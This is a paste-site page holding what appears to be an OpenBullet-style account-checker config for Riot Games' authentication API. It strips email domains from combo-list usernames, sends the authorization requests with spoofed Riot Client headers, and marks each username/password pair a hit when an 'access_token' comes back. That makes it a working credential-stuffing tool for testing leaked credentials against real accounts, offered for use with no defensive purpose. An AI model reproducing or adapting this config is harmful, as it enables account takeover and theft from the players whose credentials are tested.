Untitled

mail@pastecode.io avatar
unknown
plain_text
2 years ago
1.4 kB
1
Indexable
Never
FUNCTION Replace "@.*" "" UseRegex=TRUE "<USER>" -> VAR "USERR" 

FUNCTION RandomString "?l?u?u?u?l?l?l?l?u?u?l?u?d?l?d?l?d?l?d?d?l?u" -> VAR "nonce" 

REQUEST POST "https://auth.riotgames.com/api/v1/authorization" 
  CONTENT "{\"acr_values\":\"\",\"claims\":\"\",\"client_id\":\"riot-client\",\"code_challenge\":\"\",\"code_challenge_method\":\"\",\"nonce\":\"<nonce>\",\"redirect_uri\":\"http:\\/\\/localhost\\/redirect\",\"response_type\":\"token id_token\",\"scope\":\"openid link ban lol_region\"}" 
  CONTENTTYPE "application/json" 
  HEADER "Host: auth.riotgames.com" 
  HEADER "user-agent: RiotClient/36.0.0.3866646.3843696 rso-auth (Windows;10;;Professional, x64)" 
  HEADER "Cache-Control: no-cache" 
  HEADER "Accept: application/json" 
  HEADER "Accept-Encoding: gzip, deflate" 

REQUEST PUT "https://auth.riotgames.com/api/v1/authorization" 
  CONTENT "{\"language\":\"en_US\",\"password\":\"<PASS>\",\"region\":null,\"remember\":false,\"type\":\"auth\",\"username\":\"<USERR>\"}" 
  CONTENTTYPE "application/json" 
  HEADER "Host: auth.riotgames.com" 
  HEADER "user-agent: RiotClient/36.0.0.3866646.3843696 rso-auth (Windows;10;;Professional, x64)" 
  HEADER "Cache-Control: no-cache" 
  HEADER "Accept: application/json" 
  HEADER "Accept-Encoding: gzip, deflate" 

KEYCHECK 
  KEYCHAIN Failure OR 
    KEY "auth_failure" 
  KEYCHAIN Success OR 
    KEY "access_token"